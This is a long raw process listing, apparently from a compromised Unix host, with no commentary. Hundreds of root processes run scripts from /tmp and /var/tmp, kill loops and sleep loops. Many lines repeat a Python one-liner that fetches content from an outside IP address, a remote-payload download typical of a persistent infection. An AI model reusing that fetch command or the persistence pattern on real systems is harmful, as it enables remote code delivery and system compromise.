sh /var/tmp/cruner > root 15462 2821 0 15:44:52 ? 0:00 bash -sh > root 13220 17953 0 - ? 0:00 <defunct> > root 26188 11076 0 15:45:53 ? 0:00 sh /tmp/cruner > root 11106 11099 0 15:45:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19246 18214 0 15:43:13 ? 0:00 bash -sh > root 12554 26905 0 15:46:08 ? 0:00 xargs kill -9 > root 18092 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24609 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 467 27634 0 - ? 0:00 <defunct> > root 1246 16202 0 15:45:58 ? 0:00 sleep 60 > root 23070 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4769 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23290 20835 0 - ? 0:00 <defunct> > root 14726 14717 0 15:45:41 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21689 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 22461 20395 0 15:42:20 ? 0:00 bash -sh > root 12637 3299 0 - ? 0:00 <defunct> > root 8521 8519 0 15:46:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1128 21497 0 15:42:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5440 10796 0 15:42:52 ? 0:00 bash -sh > root 23043 5824 0 - ? 0:00 <defunct> > root 19087 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21526 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24071 1 0 01:14:07 ? 0:00 sh /var/tmp/cruner > root 6327 27217 0 15:45:54 ? 0:00 sleep 60 > root 14037 23008 0 15:44:16 ? 0:00 bash -sh > root 16759 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 23691 13277 0 - ? 0:00 <defunct> > root 29861 20478 0 - ? 0:00 <defunct> > root 29020 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5660 1343 0 - ? 0:00 <defunct> > root 19779 20733 0 15:44:53 ? 0:00 bash -sh > root 3250 25104 0 15:45:40 ? 0:00 sleep 60 > root 13617 8616 0 15:45:59 ? 0:00 bash -sh > root 23396 1 0 15:25:59 ? 0:00 sh /var/tmp/cruner > root 28619 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18968 18112 0 15:43:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11792 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8807 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22107 16073 0 15:45:52 ? 0:00 bash -sh > root 432 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 193 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22093 14258 0 15:42:20 ? 0:00 bash -sh > root 500 9709 0 15:45:03 ? 0:00 bash -sh > root 28181 10347 0 15:45:23 ? 0:00 sleep 60 > root 304 16017 0 15:44:41 ? 0:00 bash -sh > root 26465 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21996 17838 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 18380 13713 0 15:46:09 ? 0:00 sleep 60 > root 26357 23474 0 - ? 0:00 <defunct> > root 8258 14070 0 - ? 0:00 <defunct> > root 12283 6825 0 15:45:41 ? 0:00 sleep 60 > root 17082 18573 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25240 19241 0 - ? 0:00 <defunct> > root 10201 4918 0 - ? 0:00 <defunct> > root 13080 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20024 8741 0 - ? 0:00 <defunct> > root 25473 5529 0 15:44:49 ? 0:00 bash -sh > root 24498 19144 0 15:45:57 ? 0:00 sleep 60 > root 27807 11910 0 - ? 0:00 <defunct> > root 4382 18680 0 15:46:06 ? 0:00 sleep 60 > root 2852 20478 0 15:46:11 ? 0:00 bash -sh > root 15461 18271 0 15:46:00 ? 0:00 sh /tmp/cruner > root 10 15604 0 15:46:11 ? 0:00 bash -sh > root 6506 15091 0 15:44:51 ? 0:00 bash -sh > root 16642 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4479 9584 0 15:45:40 ? 0:00 xargs kill -9 > root 16902 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3574 26616 0 - ? 0:00 <defunct> > root 16096 16041 0 15:44:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15657 13577 0 15:44:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21036 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28305 20349 0 - ? 0:00 <defunct> > root 18443 18027 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18110 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26294 3727 0 - ? 0:00 <defunct> > root 12048 17039 0 15:45:59 ? 0:00 sh /tmp/cruner > root 21251 20383 0 15:45:46 ? 0:00 bash -sh > root 17485 4106 0 15:45:56 ? 0:00 sleep 60 > root 9345 5252 0 15:43:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16993 20328 0 - ? 0:00 <defunct> > root 29724 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11935 4300 0 15:45:41 ? 0:00 sleep 60 > root 6726 24426 0 15:46:12 ? 0:00 /bin/ksh -p /bin/kill -9 > root 19882 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5057 11903 0 - ? 0:00 <defunct> > root 12734 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27271 26118 0 15:46:02 ? 0:00 sleep 60 > root 5781 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 428 10669 0 15:45:14 ? 0:00 bash -sh > root 10407 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 20413 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27916 7590 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 94 12870 0 - ? 0:00 <defunct> > root 24687 28666 0 15:45:17 ? 0:00 sleep 60 > root 18387 18340 0 15:46:09 ? 0:00 sleep 60 > root 3838 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7101 6833 0 15:45:54 ? 0:00 sleep 60 > root 11597 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24499 13096 0 15:44:20 ? 0:00 bash -sh > root 21259 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10039 14171 0 15:45:15 ? 0:00 bash -sh > root 21763 25024 0 15:45:06 ? 0:00 bash -sh > root 6535 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16597 8228 0 15:45:22 ? 0:00 sleep 60 > root 28029 588 0 15:46:02 ? 0:00 bash -sh > root 28205 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4720 25217 0 15:46:11 ? 0:00 /bin/ksh -p /bin/kill -9 > root 5485 19965 0 15:45:20 ? 0:00 sleep 60 > root 27770 9233 0 15:46:10 ? 0:00 xargs kill -9 > root 28371 23241 0 15:45:34 ? 0:00 sleep 60 > root 6275 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22349 16115 0 - ? 0:00 <defunct> > root 5641 6360 0 15:42:46 ? 0:00 bash -sh > root 15294 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10564 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18317 11684 0 - ? 0:00 <defunct> > root 21622 19482 0 15:45:57 ? 0:00 /bin/ksh -p /bin/kill -9 > root 14675 19016 0 15:45:37 ? 0:00 bash -sh > root 17111 1724 0 15:44:57 ? 0:00 bash -sh > root 2354 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6300 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23937 23935 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8867 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 1824 18748 0 15:45:39 ? 0:00 sleep 60 > root 5530 21548 0 - ? 0:00 <defunct> > root 5521 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 12854 12248 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15191 19990 0 15:46:08 ? 0:00 sh /tmp/cruner > root 23071 20414 0 15:44:08 ? 0:00 bash -sh > root 23868 7605 0 15:44:49 ? 0:00 bash -sh > root 18810 12199 0 15:45:22 ? 0:00 sleep 60 > root 10755 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29462 7764 0 15:45:18 ? 0:00 sleep 60 > root 16962 26229 0 15:45:51 ? 0:00 bash -sh > root 8549 16621 0 - ? 0:00 <defunct> > root 19840 7567 0 15:45:33 ? 0:00 sleep 60 > root 17457 10220 0 15:45:32 ? 0:00 xargs kill -9 > root 22869 10459 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 12272 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 7571 8854 0 15:44:38 ? 0:00 bash -sh > root 24872 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12990 13907 0 15:45:50 ? 0:00 bash -sh > root 16945 17200 0 15:44:57 ? 0:00 bash -sh > root 11899 20067 0 15:46:07 ? 0:00 sleep 60 > root 18026 26545 0 15:45:56 ? 0:00 sleep 60 > root 15694 11254 0 15:45:11 ? 0:00 bash -sh > root 1805 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11064 5555 0 15:46:07 ? 0:00 sleep 60 > root 11152 9187 0 15:43:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16990 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2767 20850 0 15:45:53 ? 0:00 bash -sh > root 19058 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20240 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21545 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25246 28805 0 15:45:39 ? 0:00 bash -sh > root 23389 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17360 9231 0 15:45:56 ? 0:00 sh /var/tmp/cruner > root 5326 8453 0 15:46:12 ? 0:00 bash -sh > root 23631 24463 0 15:45:57 ? 0:00 sleep 60 > root 15467 22934 0 15:45:41 ? 0:00 bash -sh > root 15934 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13651 2907 0 15:45:11 ? 0:00 bash -sh > root 10500 22452 0 - ? 0:00 <defunct> > root 332 2101 0 15:45:53 ? 0:00 xargs kill -9 > root 23766 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7646 19566 0 15:45:45 ? 0:00 bash -sh > root 13409 13392 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15878 2992 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 8213 25819 0 - ? 0:00 <defunct> > root 1748 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25444 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25094 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4593 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29015 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9422 8989 0 15:45:15 ? 0:00 bash -sh > root 24545 2317 0 - ? 0:00 <defunct> > root 26840 5182 0 15:46:02 ? 0:00 bash -sh > root 4573 18307 0 - ? 0:00 <defunct> > root 11166 22570 0 15:43:26 ? 0:00 bash -sh > root 4346 12184 0 - ? 0:00 <defunct> > root 13548 4883 0 15:44:16 ? 0:00 bash -sh > root 3173 21799 0 15:45:35 ? 0:00 sleep 60 > root 27947 25665 0 15:45:43 ? 0:00 /bin/ksh -p /bin/kill -9 > root 4629 19309 0 15:46:06 ? 0:00 sleep 60 > root 7157 25342 0 - ? 0:00 <defunct> > root 18940 6581 0 15:45:12 ? 0:00 sh /tmp/cruner > root 21046 25347 0 15:45:12 ? 0:00 sleep 60 > root 22839 14321 0 15:46:01 ? 0:00 bash -sh > root 10074 10046 0 15:45:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11896 9861 0 15:45:50 ? 0:00 bash -sh > root 14337 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4285 8237 0 15:45:19 ? 0:00 sleep 60 > root 16363 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2533 29577 0 - ? 0:00 <defunct> > root 5393 18609 0 15:46:12 ? 0:00 bash -sh > root 7257 20694 0 15:46:07 ? 0:00 bash -sh > root 11666 26710 0 15:45:59 ? 0:00 bash -sh > root 2922 9843 0 15:45:28 ? 0:00 sleep 60 > root 9464 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14893 4563 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14982 19012 0 15:46:04 ? 0:00 sleep 60 > root 2349 27103 0 15:46:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7964 9862 0 15:46:12 ? 0:00 sh /var/tmp/cruner > root 4510 26620 0 15:45:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16603 11428 0 15:45:22 ? 0:00 sleep 60 > root 25198 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23452 19105 0 15:43:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11432 9705 0 15:45:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27811 27772 0 15:45:53 ? 0:00 sh /tmp/cruner > root 10066 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20152 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24312 13422 0 15:46:01 ? 0:00 sleep 60 > root 26779 6430 0 - ? 0:00 <defunct> > root 22033 27874 0 - ? 0:00 <defunct> > root 8080 19689 0 15:45:36 ? 0:00 bash -sh > root 6984 26530 0 - ? 0:00 <defunct> > root 23137 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 14812 19374 0 15:44:16 ? 0:00 bash -sh > root 3991 17821 0 15:45:35 ? 0:00 sleep 60 > root 6463 22673 0 15:46:12 ? 0:00 sh /tmp/cruner > root 12307 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6692 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2093 15976 0 15:45:48 ? 0:00 xargs kill -9 > root 6589 29183 0 15:45:09 ? 0:00 bash -sh > root 14192 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 9051 5181 0 15:45:50 ? 0:00 sleep 60 > root 25881 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8158 4976 0 15:45:10 ? 0:00 bash -sh > root 4994 25618 0 15:44:46 ? 0:00 bash -sh > root 28485 26890 0 15:45:34 ? 0:00 bash -sh > root 16396 16892 0 15:45:26 ? 0:00 bash -sh > root 4555 24091 0 15:45:54 ? 0:00 bash -sh > root 20923 29334 0 15:43:13 ? 0:00 bash -sh > root 12613 28413 0 15:45:50 ? 0:00 bash -sh > root 23385 12685 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18251 16655 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 22542 1 0 17:11:43 ? 0:01 sh /tmp/cruner > root 14798 20751 0 15:44:16 ? 0:00 bash -sh > root 8679 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4014 22334 0 15:46:11 ? 0:00 bash -sh > root 12999 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24027 20304 0 15:46:10 ? 0:00 sleep 60 > root 3279 28990 0 15:46:11 ? 0:00 bash -sh > root 5518 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9159 618 0 15:45:36 ? 0:00 xargs kill -9 > root 26818 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4227 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24215 8823 0 - ? 0:00 <defunct> > root 27554 27311 0 - ? 0:00 <defunct> > root 29188 28960 0 15:45:18 ? 0:00 sleep 60 > root 3329 20853 0 - ? 0:00 <defunct> > root 24129 18939 0 15:44:49 ? 0:00 bash -sh > root 2154 13266 0 15:44:11 ? 0:00 bash -sh > root 15362 26843 0 - ? 0:00 <defunct> > root 14877 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 4508 26916 0 - ? 0:00 <defunct> > root 24585 28750 0 15:45:39 ? 0:00 bash -sh > root 23994 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6169 5141 0 15:45:44 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24889 15913 0 15:46:01 ? 0:00 sleep 60 > root 23215 23214 0 15:46:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16109 5008 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 15864 29527 0 15:45:26 ? 0:00 bash -sh > root 10829 17101 0 15:45:28 ? 0:00 sleep 60 > root 11741 26457 0 15:45:59 ? 0:00 bash -sh > root 20582 13624 0 15:46:00 ? 0:00 /bin/ksh -p /bin/kill -9 > root 23641 23675 0 - ? 0:00 <defunct> > root 3841 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22083 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2138 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2870 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14517 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 18696 24626 0 15:43:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16701 15105 0 - ? 0:00 <defunct> > root 26231 25862 0 - ? 0:00 <defunct> > root 28830 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4499 18134 0 15:45:19 ? 0:00 sleep 60 > root 22200 1833 0 15:45:17 ? 0:00 sleep 60 > root 14470 14739 0 15:45:25 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4759 17965 0 15:45:54 ? 0:00 bash -sh > root 22114 22105 0 15:45:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11778 11749 0 - ? 0:00 <defunct> > root 12133 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3463 10455 0 15:45:09 ? 0:00 sh /tmp/cruner > root 11405 15423 0 15:46:07 ? 0:00 bash -sh > root 11751 22221 0 15:45:45 ? 0:00 sleep 60 > root 3229 1756 0 15:46:11 ? 0:00 bash -sh > root 10792 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24953 1716 0 15:46:05 ? 0:00 sleep 60 > root 26568 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12066 15743 0 15:44:51 ? 0:00 bash -sh > root 19565 21379 0 15:46:09 ? 0:00 sh /var/tmp/cruner > root 5475 3666 0 - ? 0:00 <defunct> > root 17779 20415 0 15:45:02 ? 0:00 bash -sh > root 6302 21397 0 15:45:44 ? 0:00 bash -sh > root 2843 17374 0 - ? 0:00 <defunct> > root 26112 25199 0 15:45:34 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2879 8965 0 - ? 0:00 <defunct> > root 24254 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14061 6275 0 - ? 0:00 <defunct> > root 19292 8917 0 15:46:09 ? 0:00 sleep 60 > root 28299 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 5074 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11713 11853 0 15:45:41 ? 0:00 xargs kill -9 > root 25708 28401 0 15:45:47 ? 0:00 sleep 60 > root 6293 28622 0 15:44:13 ? 0:00 bash -sh > root 16656 16624 0 15:45:42 ? 0:00 /bin/ksh -p /bin/kill -9 > root 23830 26805 0 15:43:29 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10184 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23729 13521 0 15:45:02 ? 0:00 bash -sh > root 8422 9330 0 15:45:20 ? 0:00 bash -sh > root 10387 10384 0 - ? 0:00 <defunct> > root 29875 28766 0 15:44:22 ? 0:00 bash -sh > root 25330 3567 0 15:45:39 ? 0:00 bash -sh > root 9372 29400 0 15:46:07 ? 0:00 sleep 60 > root 3722 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 12825 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9087 27541 0 15:46:12 ? 0:00 bash -sh > root 2197 919 0 15:45:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11380 5220 0 15:45:36 ? 0:00 bash -sh > root 5560 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3162 16385 0 15:46:11 ? 0:00 bash -sh > root 23957 14480 0 15:46:10 ? 0:00 bash -sh > root 19072 11047 0 15:45:42 ? 0:00 xargs kill -9 > root 19960 14282 0 - ? 0:00 <defunct> > root 15077 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18809 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 28794 6739 0 15:45:43 ? 0:00 xargs kill -9 > root 11936 28389 0 15:45:41 ? 0:00 sleep 60 > root 20874 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27656 19204 0 15:44:21 ? 0:00 bash -sh > root 29888 29734 0 15:44:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19584 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23604 20668 0 15:45:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20539 28187 0 15:45:46 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11252 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4910 6958 0 15:46:11 ? 0:00 bash -sh > root 15944 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29683 70 0 - ? 0:00 <defunct> > root 7338 3488 0 15:45:28 ? 0:00 sleep 60 > root 15481 4932 0 15:46:00 ? 0:00 sh /tmp/cruner > root 21258 23962 0 - ? 0:00 <defunct> > root 22965 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9861 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27280 29529 0 15:46:10 ? 0:00 xargs kill -9 > root 26704 1 0 00:49:14 ? 0:00 sh /var/tmp/cruner > root 26966 9343 0 15:45:18 ? 0:00 bash -sh > root 24459 16777 0 15:46:01 ? 0:00 sleep 60 > root 24557 7499 0 - ? 0:00 <defunct> > root 9133 14269 0 15:46:12 ? 0:00 awk {print $7} > root 16921 8344 0 15:45:51 ? 0:00 bash -sh > root 13525 20063 0 - ? 0:00 <defunct> > root 5377 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17492 25785 0 15:43:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25191 5483 0 - ? 0:00 <defunct> > root 19106 19045 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18736 8224 0 15:45:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10971 22280 0 - ? 0:00 <defunct> > root 5136 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 1634 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29981 9935 0 - ? 0:00 <defunct> > root 11957 29556 0 15:45:59 ? 0:00 bash -sh > root 16036 28341 0 15:46:08 ? 0:00 sleep 60 > root 19159 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 22177 18984 0 15:45:17 ? 0:00 sleep 60 > root 7814 7393 0 15:45:04 ? 0:00 bash -sh > root 7523 6309 0 - ? 0:00 <defunct> > root 4895 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26805 13444 0 15:43:23 ? 0:00 bash -sh > root 27188 27073 0 15:45:34 ? 0:00 xargs kill -9 > root 13747 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7345 14093 0 - ? 0:00 <defunct> > root 25657 15057 0 - ? 0:00 <defunct> > root 18118 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 4586 6131 0 - ? 0:00 <defunct> > root 1756 11907 0 15:45:44 ? 0:00 bash -sh > root 13752 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17266 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7995 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 1897 24380 0 15:45:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4551 3942 0 - ? 0:00 <defunct> > root 13585 25368 0 - ? 0:00 <defunct> > root 22459 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 14511 17300 0 - ? 0:00 <defunct> > root 26988 14692 0 - ? 0:00 <defunct> > root 11497 11495 0 - ? 0:00 <defunct> > root 17590 22163 0 - ? 0:00 <defunct> > root 12655 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2043 19013 0 15:45:39 ? 0:00 bash -sh > root 5550 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20520 5753 0 - ? 0:00 <defunct> > root 19457 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3804 29267 0 - ? 0:00 <defunct> > root 24735 4235 0 - ? 0:00 <defunct> > root 12766 1992 0 15:45:50 ? 0:00 bash -sh > root 18614 21416 0 15:43:56 ? 0:00 bash -sh > root 4529 6264 0 15:45:40 ? 0:00 bash -sh > root 15422 29491 0 - ? 0:00 <defunct> > root 28092 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16403 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27375 10597 0 - ? 0:00 <defunct> > root 5460 5397 0 15:46:12 ? 0:00 /bin/ksh -p /bin/kill -9 > root 23566 27974 0 15:45:43 ? 0:00 bash -sh > root 3078 20610 0 15:44:22 ? 0:00 bash -sh > root 12511 25469 0 - ? 0:00 <defunct> > root 28123 29745 0 15:45:27 ? 0:00 sleep 60 > root 8888 9743 0 15:45:40 ? 0:00 sh /var/tmp/cruner > root 29516 6660 0 15:45:34 ? 0:00 sleep 60 > root 13419 7505 0 15:45:01 ? 0:00 /bin/ksh -p /bin/kill -9 > root 4934 8444 0 15:46:03 ? 0:00 sleep 60 > root 6659 18235 0 15:44:56 ? 0:00 bash -sh > root 8316 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1105 6609 0 15:45:34 ? 0:00 sleep 60 > root 3120 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18111 18104 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7274 11597 0 15:45:20 ? 0:00 sleep 60 > root 6396 12739 0 15:46:12 ? 0:00 bash -sh > root 14933 18406 0 15:46:08 ? 0:00 sed -e s/\/.*//g > root 8105 2813 0 - ? 0:00 <defunct> > root 1358 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 20982 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1273 20144 0 - ? 0:00 <defunct> > root 2605 12454 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 14113 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22166 22165 0 - ? 0:00 <defunct> > root 14557 6470 0 15:45:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18406 18749 0 15:45:29 ? 0:00 bash -sh > root 17418 9119 0 15:46:00 ? 0:00 sh /tmp/cruner > root 24529 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 11396 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10265 16247 0 15:45:10 ? 0:00 sh /tmp/cruner > root 28580 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7963 25829 0 15:45:49 ? 0:00 bash -sh > root 10576 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23823 17155 0 15:45:47 ? 0:00 xargs kill -9 > root 11788 2867 0 15:44:04 ? 0:00 bash -sh > root 7193 6069 0 15:45:20 ? 0:00 sleep 60 > root 9988 11472 0 15:45:41 ? 0:00 bash -sh > root 21694 4965 0 15:45:12 ? 0:00 bash -sh > root 2899 24261 0 15:44:12 ? 0:00 bash -sh > root 23654 2820 0 15:45:38 ? 0:00 bash -sh > root 27392 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6617 21071 0 - ? 0:00 <defunct> > root 8397 2040 0 15:46:07 ? 0:00 sleep 60 > root 20385 15520 0 15:45:12 ? 0:00 sh /tmp/cruner > root 10075 3290 0 15:45:25 ? 0:00 sleep 60 > root 9661 7435 0 15:46:12 ? 0:00 bash -sh > root 9248 540 0 15:46:12 ? 0:00 bash -sh > root 26407 8363 0 15:45:34 ? 0:00 sleep 60 > root 18054 716 0 - ? 0:00 <defunct> > root 16151 22536 0 - ? 0:00 <defunct> > root 3485 1 0 Oct 05 ? 